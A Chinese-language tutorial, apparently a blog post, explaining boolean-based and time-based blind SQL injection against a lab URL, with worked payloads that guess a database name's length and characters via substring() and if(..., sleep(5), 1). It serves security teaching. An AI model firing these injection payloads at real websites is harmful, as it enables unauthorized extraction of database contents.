sql 注入, 盲注

sql 注入, 盲注

盲注适合在页面没有任何回显时使用.

测试页面有变化, 但是没有显示任何异常错误等信息.

情景:
py 复制代码
url: http://192.168.112.200/security/read.php?id=1
服务器数据库名: learn

一, boolean盲注

c 复制代码
# 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比如:
length(n)                 字符串长度
mid(str, start, n)        从start开始截取n个字符, start从1开始
substring(str, start, n)  从start开始截取n个字符, start从1开始
left(str, n)              从左侧开始截取n个字符
right(str, n)             从右侧开始截取n个字符
ord()                     字符的ascii码
ascii()                   字符的ascii码
1. 猜测长度
py 复制代码
# 利用比较运算判断数据库名称的长度
http://.../?id=1 and length( database() ) < 10 # 页面正常
http://.../?id=1 and length( database() ) < 5  # 页面异常
http://.../?id=1 and length( database() ) = 5  # 页面正常, 数据库名长度是5.
2. 猜测字符

利用 substring() 等函数, 判断名称中的字母, 范围包括大写或小写字母, 数字, 下划线等.

可以使用python脚本或者burpsuit来做爆破.

py 复制代码
# 猜测数据库名第一个字母
http://.../?id=1 and substring( database(), 1, 1 ) = 'a' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'c' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'l' # 页面正常, 数据库名首字母是 l
# 猜测第二个字母
http://.../?id=1 and substring( database(), 2, 1 ) = 'e' # 页面正常, 数据库第二个字母是 e
http://.../?id=1 and substring( database(), 2, 1 ) = 'E' # 页面正常, 到底是大写还是小写 ?

# 这里为了区分大小写, 使用 binary 更准确
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'e' # 页面正常
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'E' # 页面异常

# 猜测第三个字母
...

二, 时间型盲注

boolean盲注可以通过页面的变化来判断, 如果测试时, 无论使用什么代码, 页面没有任何变化, 就需要尝试时间盲注.

在真假判断的基础上添加时间判断.

原理:

if(表达式, 语句1, 语句2) 函数的规则:

如果 [表达式] 是真, 则执行 [语句1] , 否则执行 [语句2] .

使用if函数, 对boolean盲注[表达式]做判断, 将延迟时间设置到[语句1],

如果boolean盲注[表达式]猜对了, sql会执行[语句1] 进入延迟, 否则sql会立刻执行[语句2].

所以通过注入后页面的延迟时间可以判断出boolean盲注的猜测是否成功.

案例:
py 复制代码
# 猜测数据库的名称长度
http://.../?id=1 and if( length(database())<10, sleep(5), 1) # 页面有明显延迟, 说明猜对
http://.../?id=1 and if( length(database())<5, sleep(5), 1)  # 页面响应不到5秒, 说明猜错
http://.../?id=1 and if( length(database())=5, sleep(5), 1)  # 页面有明显延迟, 说明猜对, 那么长度是5
相关推荐
web安全工具库28 分钟前
Makefile 模式规则精讲:从 %.o: %.c 到静态模式规则的终极自动化
linux·运维·c语言·开发语言·数据库·自动化
盒马coding8 小时前
第19节-非规范化数据类型-Composite-types
数据库·postgresql
-雷阵雨-8 小时前
MySQL——桥梁JDBC
数据库·mysql·oracle
亿坊电商8 小时前
在PHP框架里如何进行数据库连接?
数据库·oracle·php
满昕欢喜8 小时前
SQL Server从入门到项目实践(超值版)读书笔记 28
数据库·sql·sqlserver
楚韵天工8 小时前
宠物服务平台(程序+文档)
java·网络·数据库·spring cloud·编辑器·intellij-idea·宠物
李白你好10 小时前
一款专业的多数据库安全评估工具,支持 **PostgreSQL、MySQL、Redis、MSSQL** 等多种数据库的后渗透操作
数据库·mysql·postgresql
恋红尘10 小时前
Mysql
数据库·mysql
paishishaba11 小时前
数据库设计原则
数据库
曹牧12 小时前
oracle:NOT IN
数据库·oracle